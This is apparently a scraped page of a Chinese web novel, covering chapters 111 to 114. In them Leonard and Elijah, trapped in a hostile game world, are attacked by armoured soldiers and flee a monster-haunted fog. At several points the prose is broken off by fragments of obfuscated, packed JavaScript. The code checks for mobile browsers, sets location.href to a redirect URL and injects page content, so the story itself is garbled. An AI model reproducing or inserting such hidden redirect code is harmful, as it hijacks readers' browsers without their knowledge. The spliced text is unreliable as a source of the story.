0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14023963|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在上帝的份上,别丢下我一个!”莱纳德摇晃着他,一边抬头看向坡顶,食人族追上来了,上帝啊,那群满脸长毛,在冰天雪地里赤着上半身的野蛮人,他们要把石头扔下来了! 可以利亚双目紧闭,连声都发不出了。 “妈的烂游戏!”鉴于这游戏既没有退出键也没有存档读档功能,情况真是糟得不能再糟,莱纳德手忙脚乱地拿出金属笔,用力晃了晃,笔头竟立刻亮起了红色荧光,他来不及为这不祥的暗红色感到惊慌,拼命集中注意力回忆以利亚告诉他的方程式,可笔尖迤逦出来的只是一连串歪歪扭扭的鬼画符,仿佛一排头顶长角的小魔鬼正冲他尖叫。 “快点、快点!”莱纳德内心有一部分明白来不及了,但直觉告诉他还有一线生机,只要他把注意力集中到红光上,只要他找到昨晚讲鬼故事时的感觉…… 以利亚是怎么说的来着?有精神力是件好事,百分之九十的人类大脑都有这种潜能。 来吧,把全部信念都放到这一点上。 莱纳德闭上眼睛,不去看头顶的野蛮人,不去想近在咫尺的危机,只有那点红光在眼皮底下越来越亮、越来越集中,像颗小太阳,仿佛一伸手就能抓在掌心。 他深深吸了一口气,忽然之间,一股难以形容的力量从他胸口升起,像涨潮时的海水,力道温柔却不可抗拒,一同升起的还有某种确信感,毫没来由,却让他霎时坚定起来,既然他能在半夜送走以利亚,能在起火的瞬间送走奥多娜,就一定能把他们从凶恶食人族的手里救出去,毫无疑问。 与此同时,金属笔端的红光骤然大亮,霎时间将两人笼罩在其中。 风雪不见了,野蛮人的嚎叫声消失了,寒风在裸露皮肤上制造的刺痛感也无影无踪。 取而代之的是唧唧啾啾的虫鸣,马儿原地踏踢的嘚嘚声,还有这个温和高大的动物打响鼻的声音。 莱纳德睁开眼睛,用了几秒钟才适应昏暗的夜色,没有冰天雪地、没有要命的食人族,谢天谢地,随后他看到了那匹身上长着棕色半点的白色马,以及它身后怪物似的张着口的车架。 该死的游戏连一个安全的室内副本都没有吗? “以利亚?”莱纳德转头四顾,却不见以利亚的踪影。当他看到歪在石头上昏迷不醒的白衣身影时,先是心里一喜,但很快又反应过来,那不是以利亚,不管是打扮还是体型,都相差太多。 那是个穿白裙子的长发少女。 不,也不是奥多娜,莱纳德凑过去看清对方的面容后得出了这个结论,这个姑娘鼻梁高挺,双眉斜飞,下巴棱角分明,尽管昏睡着,却仍然给人一种英气勃勃的感觉。 莱纳德敢肯定自己从未见过这个少女,但奇怪的是,不管怎么看,她都莫名眼熟得很。 被遗忘的记忆?内心的映射?鉴于他此刻身处某个疯子天才设计的游戏里,这似乎也说得过去。 “嘿,醒醒。”莱纳德伸手推了推白衣少女,对方动了动,发出一声含糊不清的“唔”,声音沙哑,同样有股说不清道不明的熟悉感,听得莱纳德手臂上窜起一层鸡皮疙瘩。 白衣少女醒了过来,睁开一双漂亮的灰色眼睛望向莱纳德,说道:“莱尼,我们这是在哪儿?” “哦,上帝啊。”莱纳德呆呆地回答道。 111.第十四章:又见马车 “别笑了!警告你!”以利亚恨恨道,尽管他努力压低嗓子,但声音听起来还是该死的又轻又细,引来莱纳德更放肆的一阵大笑。 “我、我错了,不笑了,保证。”莱纳德喘息着说,他连腰都直不起来,忍着笑说,“别担心,以利亚,这只是在游戏里,现实里你该在的零件都还在。” 以利亚用一个白眼回答他,后者立刻夸张地捂住胸口后仰做倒地状,那模样太贱,以利亚只好赏了他一脚。 “好了、好了,不闹了。”莱纳德平复下来,思考道,“你在上一个场景里受伤了,姐妹,所以在这个场景里的体能和速度受到了限制,游戏惩罚机制,一定是这样。” 以利亚尖刻地说:“要么就是你写的传送方程式太糟糕。” 莱纳德举起手:“上帝作证,我压根没写方程式,你当时都晕了,山坡上还有食人族追杀,我只好孤注一掷了。”他顿了顿,笑嘻嘻地眨眨眼睛:“再说了,不就是变成女人嘛,看过《神秘博士》没?高贵的时间领主变个性别都跟感冒一样家常便饭。” 以利亚闭上眼睛,连连摇头,仿佛压根不想接受这个现实。 莱纳德想了想,又说:“你要不改个名字,伊琳娜?哎呦!”揉着膝盖,坏笑道:“幸好你腿也变短了,不然……嘶!别踢了,喂!”他连蹦带跳地躲开以利亚的第二脚和第三脚,差点撞到身后的马车,马儿轻嘶一声,踏着蹄嫌弃地往一边退开几步。 以利亚一手提着裙角,笑吟吟地瞧着他,露出一口森然白牙:“再胡说八道,就让你体验一下第三种性别。” 莱纳德举起手退开三步,讨饶道:“怕了你了。”他右手肘差点撞到马鼻子,马儿仰头躲开,然后一张嘴,咬住了他的衣袖。 “这马……”莱纳德把袖子从马嘴里挣脱出来,迟疑地绕着马车转了一圈,挠头道,“是游戏特地给咱们准备的道具?” “八成是。”以利亚点点头。 “那下一步就简单了,”莱纳德抬起头,跟以利亚默契地相视一笑,“马车还是算了,选个方向散散步?” 以利亚向四周张望一下,抬起手:“那边吧。”一面把披散的头发抓成一把,随便打了个结挽在头顶,看得莱纳德连连摇头。 “你确定要沿着公路走?会不会太招摇了?”莱纳德又问,他抬手在眉毛上搭了个凉棚,喃喃道,“也对,那边的雾看起来有点险恶。”这话不假,那雾黄中带黑,显得质地黏腻,边界鲜明却并非静止,仿佛正随着风蠕蠕而动。 一种似曾相识的感觉忽然浮上心头,莱纳德眯起眼睛,他在别的地方也见过这种雾,会是哪儿呢?海边小屋?玫瑰花?他晃晃脑袋,把这些毫无根据的联想抛到脑后。 “那雾里不会藏着什么吧?” “那片雾是隔开不同世界的介质。”以利亚惜字如金地说。 “就跟你以前来过似的。” “这是基本常识,华生。” “这明明是瞎猜,凯特·布兰切特。” “谁?” “一位灰眼睛美人,照照镜子就明白了,你现在很像她。” “嫉妒了?” “哈!下辈子都不会。” 两人一边说一边并肩往刚才选好的方向走去,马儿在后边又是踏蹄又是喷响鼻,莱纳德忍不住回过头,正好看到马车张开黑洞洞的嘴,仿佛正冲他们大笑。 “我说,”走出一段路后,莱纳德用胳膊肘碰了碰以利亚,他忍了半天没忍住,问道,“你穿高跟鞋走路怎么这么熟练啊?” 以利亚似笑非笑地瞟了他一眼:“简单,别把它们想成鞋子,想成一对带锥子的武器就好了。” 莱纳德撇嘴:“你跟奥多娜肯定有不少共同语言。”他忽然叹息道,“说起这个女人,她多半也被装进这时间口袋里了,你说,她会和咱们在一个世界里吗?” “也许。”以利亚轻声道。 莱纳德又叹了口气,诚恳地评价:“真是说得比唱的好听。” 以利亚目光望向远处:“我们跟沃冷从没有过节,虽然早些年我调查过他,但并没有留下痕迹,很遗憾,也没给沃冷集团造成什么实质性伤害,麦德森不至于时隔这么久再找我算账。” “所以?”莱纳德一扬眉,不过在以利亚开口前就已经猜到了他的答案:“所以麦德森大概率是在找奥多娜算账,我们只是惨遭池鱼之殃而已。” “出于同一原因,”以利亚的表情有些凝重,“我们应该尽快找到她。” 莱纳德闭上了嘴,他想到奥多娜退休前的职业,像她这样的人,实在很难不结几个仇家,宇宙再大,也迟早会有人找上门来,说不定正是这个缘故,奥多娜才会选择在方圆几百公里的无人之境跟几个机器人作伴。 不记得是谁说过,特工们往往会以某种更永恒的方式退休,这说法该死的残忍,却也该死的正确。 这个女人实在值得敬佩,无论从哪个角度来看,莱纳德想起奥多娜在灯光下眼角细细的皱纹,还有她说自己的冒险生活已经是过去式的怀念模样,不禁反问自己,如果不是有以利亚作伴,他是否能够一直忍受在宇宙漫游的日子?以利亚又是否是出于同样的原因才会找到他作伴呢? “莱尼,看前面。”以利亚忽然停下脚步,抓住了莱纳德的衣袖。 莱纳德抬起头,面前的公路被浓雾勾勒出模糊的边缘,路的尽头,一架马车正静静地等待他们。 “就跟马拉松饮水站志愿者似的,对吧?”莱纳德苦笑道。 “是同一匹马,同一架车。”以利亚表情凝重地说,两人已经走到了马车旁,以利亚看着路边的石块和杂草,准确地指出了他之前躺在地上压倒的那一片。 “公路鬼打墙?”莱纳德惊讶地笑了出来,“还是游戏bug?” “不管哪一种,在游戏里都很常见。”以利亚讽刺地说,他转了转眼珠,“我不喜欢这种bug。” 莱纳德叹了口气:“赌五块钱,这马车要带咱们去的地方也不会多讨人喜欢。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033008|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我猜我们没有别的选择咯。” “这才是最讨厌的地方。”莱纳德一边说一边朝马车走过去,检查过车厢后,他朝以利亚伸出手,像一名合格的绅士那样,说道,“女士优先。” 马车算不上舒服,但胜在隔绝了冷风,厢顶挂着一盏煤油灯,随着马儿前进的节奏摇摇晃晃,灯光忽明忽暗,犹如鬼火。 以利亚毫无淑女姿态地歪在座位上,还脱下高跟鞋把腿搭在对面木板上放松双脚,直到莱纳德忍无可忍地提醒他把裙子放好,不然走光了。 “你真不是块做女人的料。”莱纳德不客气地评价。 “难道你是?”以利亚反唇相讥。 莱纳德翻了个白眼:“要是哪个NPC对你凶性大发,我可不负责保护你。” “听听吧,安徒生和格林兄弟的童话果然都是骗人的,公主们压根不能指望英勇骑士,他们都是做一套说一套的沙文主义者。”以利亚哼笑,抱着胳膊靠在椅背上,闭目养起神来。 “哪儿有你这种还没坐下就先脱鞋的公主?”莱纳德真想踹他一脚,奈何不方便对“女孩子”动手,只好磨了磨牙:“偷着乐吧,伊琳娜,要真是在安徒生的童话世界里,你就可以拥有你的公主团了。” “别说,伊琳娜还挺好听的,我要考虑改名字了。”以利亚无所谓地笑笑。 “……你脸皮可真厚的,伊琳娜公主。”莱纳德无语半晌,最后说道。 “彼此彼此。”以利亚回敬道。 马车摇晃得很有节奏,莱纳德的头也渐渐开始一点一点,尽管车厢里远远谈不上温暖舒适,歪扭的姿势害他的脖子一直隐隐作痛,但在沉重的疲惫裹挟下,他的意识还是慢慢滑入了混沌,就像飞鸟陷入沼泽。 莱纳德梦到他老爸,这够奇怪的,鉴于他已经几十年没见过这位不负责任的先生,连他的模样都快忘干净了。 也许是睡前关于安徒生的对话,在梦里,他变回了当年那个三岁小孩,奥古斯特·杜弗伦在床边给他讲睡前故事,一个王子为了营救心爱的公主踏上屠龙之路结果却化身恶龙的老套故事。 当然,童话并没在这里结束,因为奥古斯特讲故事总喜欢加点独家创意进去——在这个故事结尾,一位智者在关键时刻出现,封印了勇士的翅膀和鳞甲,使他得以维持人形,而代价则是,勇士将忘记一切,包括被困在城堡的公主。 “儿子,”奥古斯特坐在床边问他,“如果你是勇士,你会答应智者吗?” “当然,”莱纳德不假思索,“不然就要变成恶龙了。” 奥古斯特点点头,却似乎并不太满意:“好吧,那么这就是给你的故事结局,勇士答应了智者,忘记一切,最后独自一人去往远方。” 他替莱纳德掖好被子,轻轻拍拍他的胸口:“睡吧,小王子。” 莱纳德闭上眼睛,又睁开:“如果勇士没有答应呢?” 奥古斯特露出一个古怪的笑容,摸了摸莱纳德露在被子外的脑袋,把另一个结局讲给了他。 112.第十五章:伊琳娜和她的屠龙勇士 莱纳德都没搞明白自己是被马嘶声吵醒的,还是被马车剧烈的颠簸给震醒的,因为一切都发生得太突然、太出人意料。 上一秒,他还在梦乡沉睡,下一秒,马儿忽然嘶鸣着人立而起,老旧的车厢没被这一下给弄散架,却也相去无几,板壁“喀拉”一声裂了条大缝,车厢里的两个大活人摔成一团,以利亚随手乱丢的高跟鞋飞起来砸到了莱纳德的脑袋,尖尖的鞋跟差点给他当场破相。 慌乱中,莱纳德用力搂住以利亚的腰,让自己的后背先着地,一边庆幸对方的体重只有以前的一半,不然铁定被他砸个有进气儿没出气儿。 莱纳德并没来得及庆幸太久,挂在车里的煤油灯在板壁上一撞,不堪重负地碎成了几块,玻璃灯罩四散飞溅开来,里面煤油洒在板壁上,被明火一点,登时“嗵”地一声蹿起了火星。 “跳车!快!”以利亚大声喊道,利索的一骨碌翻身爬起。 “车门在哪边?”莱纳德晕头转向地问,一边拼命把以利亚往远离火星的方向推,后者大吼着回答他:“你屁股后面!” 正所谓福无双至祸不单行,不等莱纳德找到车门,外面忽地响起呼哨呐喊,一柄长矛竟扎穿板壁,“夺”地一声钉进了对面,手臂粗的矛柄颤动不休,离莱纳德的鼻尖只有不到一拳。 马匹受惊果然不是意外,莱纳德脱口骂了句脏话,右手一空,以利亚竟从他掌心滑脱了,对方骂娘的声音比他还大,因为那破裙子好死不死居然被长矛给钉住了。 两人脏话连篇、挣扎起身的当口,饱受摧残的车厢吃了长矛最后一击,终于彻底散架,莱纳德在失去重心的刹那拼命一挥手,竟然抓住了长矛,紧接着左膝跪地,不知是碎石还是木片顿时扎进了肉里,他顾不上疼痛,双手握住长矛用力往外拔,顺势一挥,重重砸在一个铠甲士兵的脑袋上。 铠甲士兵稀里哗啦地倒了下去,但围上来的士兵可不止这一个,莱纳德还没来得及站起来,便听脑后一阵令人悚然的风声,以利亚在某个不远的地方大叫:“小心后边!” 莱纳德拼命往前一闪,躲过了后脑勺上致命一击,但对方反应也不慢,长矛改刺为砸,重重落在他后背上,莱纳德只觉得眼前一黑,霎时间,耳朵里回荡的尽是嗡嗡声,手中长矛在地上用力一拄,这才没摔个狗啃泥。 长矛兵乘胜追击,又抄起家伙朝他兜头猛砸,这回莱纳德早有准备,小幅度向外一闪,长矛擦着他的肩膀扎进了地里,趁长矛兵忙着把武器从土里拔出来的几秒钟,他也不客气,挺起长矛用力送进对方开门迎客的胸口。 “咯噔”一声,长矛卡在了铠甲缝隙里,莱纳德可不打算重蹈对方的覆辙,撒手丢下长矛,就地一滚,借着长矛兵的尸体作掩护,躲过了一记大刀横砍。 如果只是为了偷袭两个手无寸铁的马车乘客,这群刺客准备得也太过隆重了。 “慢着!这是个误会!”莱纳德大吼一声,希望缓兵之计能派上用场,但铠甲兵“唰唰唰”连劈三刀作为回答,莱纳德也只好拼了,一脚前蹬,把挡在身前的尸体踹向对面的大刀兵,人也顺势扑了过去,准确预判对方的躲避点,干脆利落的一记飞膝扑杀,砸得大刀兵满脸开花。 莱纳德自己也够受的,他膝盖上还楔着木板碎片没拔出来,这一击算是伤敌一千自损八百,落地踉跄几步才站稳,紧跟着便被另一个斗牛士似的大兵怒吼着拦腰扑倒。 对面,以利亚也没闲着,他的头发都快被火烧着了,莱纳德拔出长矛后,他总算得脱禁锢,在地上连打几个滚,才把身上着火的地方压灭。 铠甲兵一开始没把这个瘦小的女人当做威胁,都在朝莱纳德冲锋,以利亚趁敌人不备,反关节擒拿缴下一个铠甲兵手里的大刀,向上一送,精准地穿过铠甲缝隙扎进了对方的脖颈。 等到傻大兵们意识到这个女人也许瘦小却绝非善茬,以利亚手中长刀又送另一个铠甲兵上了西天。 接下来可就不好对付了,以利亚喘着粗气,耳朵里尽是血液在太阳穴附近鼓噪的“砰砰”声,莱纳德正在另一边大呼“误会”,要不是情势危急,以利亚几乎要笑出声来,他十分清楚正面迎敌胜算不大,但至少能多给莱纳德争取一些时间,这家伙的格斗技巧实在还有待提高。 以利亚握紧长刀,竖在身前,对面的铠甲兵早已收起轻蔑神色,长刀横举,压着脚步朝他逼过来。 双方相隔几步时,铠甲兵蓦地呐喊一声向前猛冲,同时举刀力劈,以利亚不敢跟他较劲,向一旁躲开,但对方招式竟没用老,紧跟着转劈为削,雪亮刀锋追着他面门砍去,千钧一发之际,以利亚改反手握刀,曲起右臂挡在身前,勉强接下这凶狠一击。 两刀相撞,“当”地一声溅起火星来,以利亚虎口一阵剧痛,长刀拿捏不住,登时脱手飞出,要不是他及时低头,怕不是会被飞刀当场开瓢。 “别动!”敌人的长刀乘胜前送,却没下杀手,只是顶在以利亚脖子上,恶狠狠道,“再动一下就要你的命!” 看来敌人并不是要致他们于死地了,以利亚举起双手时心念电转,这也意味着还有回旋空间。 “喂!你!再反抗我就杀了这个女人!”长刀兵一把揪住以利亚的头发把他锁在自己身前,朝莱纳德怒吼道。 莱纳德正被三个人左右夹击,好不狼狈,听到大刀兵的吼声,动作一慢,立刻被身后的大兵抓住空挡,结结实实朝他后脑勺来了一棍,莱纳德向前一扑,跟麻袋似的倒在了地上,后脑勺像是被塞进了一口钟似的发出悠长的嗡鸣和无数沉甸甸的颤音,有那么几秒钟,周围的一切都变得遥远而不真实起来。 “别动他!”一个女人的声音刺破混沌,莱纳德抽搐着清醒过来,慢半拍地想起来那是以利亚的声音,没错,他们陷在了诡异的游戏世界里,以利亚还变成女孩儿了,哈,放眼宇宙简直再没有比这更滑稽的事儿。 一只手蛮横地把他从地上拖起来,莱纳德没挣扎,忍着晕眩站起身来,打转的白雾终于从眼前散去,他先看到了以利亚,那身白裙子算是彻底毁了,裙摆被扯得乱七八糟,又是泥又是血,领口和腰间还有火燎的痕迹,好一副 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043312|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落难少女的模样。 不过以利亚的人看上去还不算太糟糕,尽管他两只手臂落在一左一右两名铠甲士兵手里,脖子里还架着一把刀,但站得还算稳,一双眼睛一眨不眨地盯着他,满脸担忧神色。 “我没事,放心。”莱纳德舔了舔嘴唇,鼻子和嘴巴里都是热烘烘的铁锈味,嘴唇更是干得好像腌透的咸鱼,那一棍差点送他去见约翰·肯尼迪,不管是谁砸的,他都发誓要叫他好看。 “别嘴硬!”一个佩刀的士兵倒转刀柄不轻不重地砸了他后脑勺一下,莱纳德踉跄着往前冲了几步卸去力道,膝盖一软,差点又倒在地上。 “操你妈。”莱纳德吐出一口带唾沫的血,文雅地回敬道。 “找死!”大刀兵作势又要打他,被另一个铠甲兵拦住,说道:“你们两个贼人大胆偷窃国王的宝物!我们是奉命捉拿,你们竟敢顽抗拘捕,简直罪加一等!” 偷窃国王宝物之后还会坐破马车跑路?这是什么狗屁游戏设定?莱纳德真是欲辩无词,只好说道:“你们认错人了!” 铠甲兵油盐不进,喝道:“赶快交出宝物!国王仁慈,说不定还会饶你们不死。” “真不是我们偷的,这是实话,我们俩压根不知道什么宝物,”莱纳德瞄了以利亚一眼,“你看我们俩哪里像是盗贼了?” 铠甲兵怒道:“若非盗贼,怎会有如此身手!” 莱纳德噎了一下,竟然无言以对,他心知对方多半是个NPC,不管时间口袋是个多先进、多智能的游戏,这些铠甲兵也不会因为他辩解得合情合理就罢手言和放他们离开,想要改变游戏既定发展路径,一定还需要更有效的方式,这大概取决于麦德森·沃冷有多痛恨他们。 想到这儿,莱纳德忍不住叹了口气,既然危险已然降临,那就只有见招拆招了。 “宝物藏在哪里?快说!”铠甲兵喝问。 “好吧,我说,”莱纳德喘了口气,正色道,“宝物交给一位葛朵老妈了,她住在一座没有楼梯的高塔里……哎呦!”旁边的大兵一刀柄撞在他腰间,痛得他把后半句话咽了回去。 “老实点!这是你最后的警告。”铠甲兵忽然狞笑起来,一把揪住以利亚的头发,扯得他踉跄几步,恶声恶气地说,“这个女人我们带走,你要是还想见到她,就乖乖带着宝物去王城自首,给你一天时间,要是晚了,哼哼!”他故意笑得意味深长,旁边几个大兵也跟着嘿嘿哈哈地笑起来,猥琐之态毕露,气得以利亚脸都红了。 莱纳德目瞪口呆:“等等,什么一天时间?你们不应该带着我们两个人一起去见国王吗?” 铠甲兵却恍若未闻,推搡着以利亚给他双手上了镣铐,竟然就要离开。 “别走啊!我也要见国王!”莱纳德大惊失色,拔腿朝他们冲过去,谁知刚跑了两步,便一头撞在某种看不见的东西上,虽然没墙那么硬,却也撞得他一跤坐倒,等他再爬起来,铠甲兵竟已带着以利亚消失得无影无踪。 莱纳德用力一拳锤在地上,恨恨地骂道:“这杀千刀的游戏!” 113.第十六章:浓雾 莱纳德痛骂这杀千刀的游戏时,以利亚也正在心里诅咒沃冷家族的每一个疯子,用他能想到最无礼的方式问候这狗屎游戏制作者的十八辈祖宗。 挣脱镣铐不难,可想要反杀几个铠甲兵简直是天方夜谭,不管怎么说,作为女人在速度和力量上都无法与男人抗衡,现在就算去健身显然也为时晚矣。 这不公平,以利亚愤愤地想,难怪奥多娜总是浑身藏满武器,不用怀疑,这女人的训练日程肯定也十分惊人。 哼,要是奥多娜看到他现在这副样子,多半会笑得直不起腰来,然后告诉他振作起来,别再丢女同胞们的脸,这评价多少也算实事求是,以利亚轻轻吸了口气,命令自己冷静下来,时间口袋毕竟是个游戏,乐观点看,沃冷集团大概不会冒着被女玩家群起攻之的风险,给女士们过分糟糕的游戏体验的。 只要足够警醒,翻盘机会迟早会出现。 从某种程度上来说,以利亚猜得没错,时间口袋的确为女士们提供了一些惊喜,可惜并不是他想要的那种。 “喂!停一下,我要上厕所。”以利亚用力扯了扯镣铐,铁链另一端被一个铠甲兵拽在手里,感觉就跟扯一座大山似的。 “啊喂!” 结果铠甲兵们跟约好了似的全都充耳不闻,径自埋头赶路,以利亚也不是真想上厕所,但他需要信息,于是过了一会儿他又抗议道:“停一停,我要休息!” 铠甲兵脚步丝毫不慢,但这回总算有一个听到了以利亚的抗议,扭过头生硬地回答:“不行,时间不等人。” 以利亚皱起眉:“什么时间?” 铠甲兵又不说话了,以利亚一咬牙,索性撒起泼来,往地上一坐,怒道:“我不管,脚上连双鞋子都没有,我一步都走不动了!” 铠甲兵先是想使蛮力把他拽起来,但被以利亚顺势打滚卸去了力道,两个人分毫不让地对峙半晌,铠甲兵无奈地妥协半步,说道:“等回到王城随便你休息,现在可不行,相信我,你绝对不想在外边停留太久。”说着警觉地向外扫视了一眼,脸上神情竟有几分畏惧,尤其在他看到那片雾气之后。 “你该站起来了,女人,别逼我对你动粗。”铠甲兵最后说,目光仍着魔似的盯着那片雾。 以利亚顺着铠甲兵的目光转过头,发现雾比之前更浓了,几乎变成了黄褐色,看上去就像19世纪伦敦工厂吐出的有毒废气,在夜色里变得越发浓厚、粘稠,如果有东西藏在雾里,他们一定看不到。 “停留太久会怎样?”以利亚追问,没注意到自己的声音不由自主放轻了。他告诉过莱纳德,雾是隔开不同世界的介质,但现在他又不那么确定了。 能让NPC害怕的雾里面总不会藏着温泉spa,对吧? “站起来,现在。”铠甲兵一字一顿。 以利亚稳稳坐在地上,趁刚才说话的功夫,他悄悄把镣铐一圈一圈地缠在右手拳头上,藏在了一条腿下。他仰起头,正在开口和动手之间犹豫不决,一声遥远的嚎叫蓦地响起,荡起层层回音搅动了凝固的夜色,在场所有人都不由得脸色一变,那声音并不像野兽,甚至不像任何已知的生物。 如果非要形容,它更像是野兽咆哮和人类嘶吼的混合,仔细听的话,你几乎可以从中辨认出破碎的音节来。 以利亚向嚎叫声响起的方向转过身,除了雾气什么都看不到,当然了,他转而问铠甲兵:“你们也听到了吧,那是什么?” 铠甲兵没有回答,但满脸惊恐神色也勉强能算作一种答案。 “快跑!” 不知是谁率先发了一声喊,几个铠甲兵一齐拔腿飞奔起来,饶是以利亚早有准备,也差点被镣铐拽了个踉跄,抓着铁链的铠甲兵头也不回地恶狠狠威胁他:“跑快点,不然把你丢下!” 以利亚怒道:“求之不得!” 但铠甲兵没松手,以利亚也只好全力跟上,他想回头看看雾里到底是什么,可两条腿跑得简直要从腰上飞出去,更不用提双手还被禁锢着,他几乎无法保持平衡。 唯一能却确定的,是身后的嚎叫声一直在,而且越来越清晰了。 它喊的是——救我。 铠甲兵慌不择路地逃进一个山洞里,洞里又脏又臭,充斥着动物粪便的味道,但谢天谢地,眼下洞里的野兽只有他身边这几个穿铠甲的蠢货。 “升起火来,快!快!”一个铠甲兵催促道,几个人手忙脚乱地点了一堆火,这才劫后余生似的松了口气,纷纷坐倒在地上。 “有光它们就不会靠近了。”一个人这么说道,跟没长翅膀的大飞蛾似的拼命往火堆边凑过去,以利亚注意到了复数用法,不由得皱起眉头。 “千万别掉以轻心。”另一个人显然还不放心,每隔几秒就要紧张地看向洞口,仿佛怪物随时都会从那里扑进来,把他们挨个撕碎。“你们难道忘了上次……”他只说了半句,就被另一个人用嘘声打断了。 “喂,谁来解释下到底是怎么回事?”以利亚问,目光从几个铠甲兵脸上一一转过,有的惊疑不定、有的故作无畏,但有一点清晰可见,雾里的东西是真实存在的,不管它是什么——是它们,复数,别忘了,以利亚在心里纠正自己——而且足够可怕。 可他同时也相信自己的判断,狂奔时他听到的嘶吼中混合着呼救声,绝望又可怖,错不了的。 一个铠甲兵大概在逃命成功之后心情有所放松,于是回答了以利亚的问题:“如果你被雾里的东西抓到,你就会变成它们的一员,明白吗?” 以利亚眯起眼睛:“再确切点,它们是什么?” 铠甲兵张了张嘴巴,但什么都没说,另一个铠甲兵冲他恼怒地皱起眉头:“再多嘴就把你丢出洞去,叫你自己看个明白!” 以利亚咧嘴一笑:“那么,等我变成它们的一员之后,一定不会忘记回来好好报答你们的。” 这句话让几个铠甲兵都对他怒目而视,但怒火里多多少少也藏着几分恐惧之意,似乎他们还真的对以利亚变成怪物回来复仇这档子事有几分忌惮。 “今晚我们在这儿睡一晚,大家轮流守夜,等天亮了再回去。”铠甲兵里发号施令的那个最后做出决定。 “可国王陛下的命令……”有人战战兢兢地反驳。 “国王陛下让我们把这个女人带回去,”铠甲兵指了指以利亚,“我们做到了,前提是我们有命回去,明白吗?” 那个人讷讷地点了点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050054|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以利亚安静地听了一会儿,忽然插嘴道:“所以国王陛下并没有让你们把所谓的宝物带回去咯?”游戏就是游戏,剧情线永远为副本任务服务,而糟糕的任务总会配上这种让人无语的屎烂剧情。 铠甲兵不客气道:“大胆!国王陛下的尊名也是你能随便叫的?” 以利亚耸耸肩,无所谓道:“你知道就算把我抓起来,那个人也不会来救我的吧?我们俩压根就不熟。”他一脸笃定地说道,“哼,这会儿人家搞不好已经溜之大吉,带着宝物能逃多远逃多远了。” 铠甲兵却半点都没相信以利亚的说辞:“别担心,美人儿,你的英雄会来救你的。” “如果他是个胆小鬼,”另一个补充道,“雾里的东西会替我们解决它的,然后嘛……”说着几个人对视一眼,桀桀地哄笑起来。 以利亚翻了个白眼,喃喃道:“别高兴得太早,你们会后悔的。” 但他还是得到了一些有用的信息,比如雾里的东西,听起来似乎是某种游戏惩罚机制,之前在路上,他没有按照铠甲兵的要求赶路,于是不得不在山洞里冒险过夜,同样的道理,莱纳德如果不按照游戏的要求到王城里去,也一定会遭到雾里怪物的攻击。 该死的,究竟什么样的控制狂才会做出这种傻逼游戏来? 或者换一种思路,麦德森那个疯子想靠这个游戏得到什么样的灵魂? 以利亚有预感,莱纳德绝不会老老实实地遵照士兵们的命令,就像他也不会一路上都乖乖地束手就擒,但区别在于,没有NPC会告诉莱纳德雾里藏着怪物。 他无声地叹了口气,尽量不去想最糟糕的结果。 无论如何,夜还长。 夜里,几个铠甲兵如约轮流守夜,以利亚蜷缩在远离火堆的地方,这种时候他可不需要温暖和舒适来让自己陷入沉睡。 他还有更重要的事去做。 凌晨三四点,外面夜色最浓重的时候,也是人最容易犯困的时候,连守夜的铠甲兵也昏昏欲睡,垂着脑袋一点一点的,以利亚知道自己的机会来了。 他尽量轻地撬开镣铐,借着柴火毕剥做掩护,拿镣铐给大兵们布置了一个小小的惊喜,然后手脚并用地摸到那个守夜的铠甲兵身后,伸手抓向对方腰间的刀柄。 游戏机制会使绊子的,别做让自己后悔的事,一个声音在他脑海里轻轻说道,他只犹豫了一下,就屏蔽掉了那个声音。 三厘米、两厘米、一厘米…… 以利亚的手指碰到了刀柄,冰凉的触感让他手臂上蹿起了细细的鸡皮疙瘩,他屏住呼吸,手指慢慢向下滑去,不料铠甲兵忽然浑身一个激灵,睁开了眼睛,以利亚顿时被蛰了似的缩回手,只觉得半边身子都僵硬成了石头。 “嗯?”士兵睡眼惺忪地看向以利亚,脸上的表情介于做梦和清醒之间。 电光火石的刹那,以利亚做出了决定,他霎时放松了浑身紧绷的肌肉,飞快地伸手握住对方的手,借着火光露出他能做到最自然的笑容。 “嘘,”他一边微笑,一边把身体凑近士兵,声音压得极低,几乎是用鼻子轻哼道,“我好冷。” 他的另一只手灵巧地向上滑去,抓住了坚硬的刀柄。 114.第十七章:巫师 奥多娜在坠落。 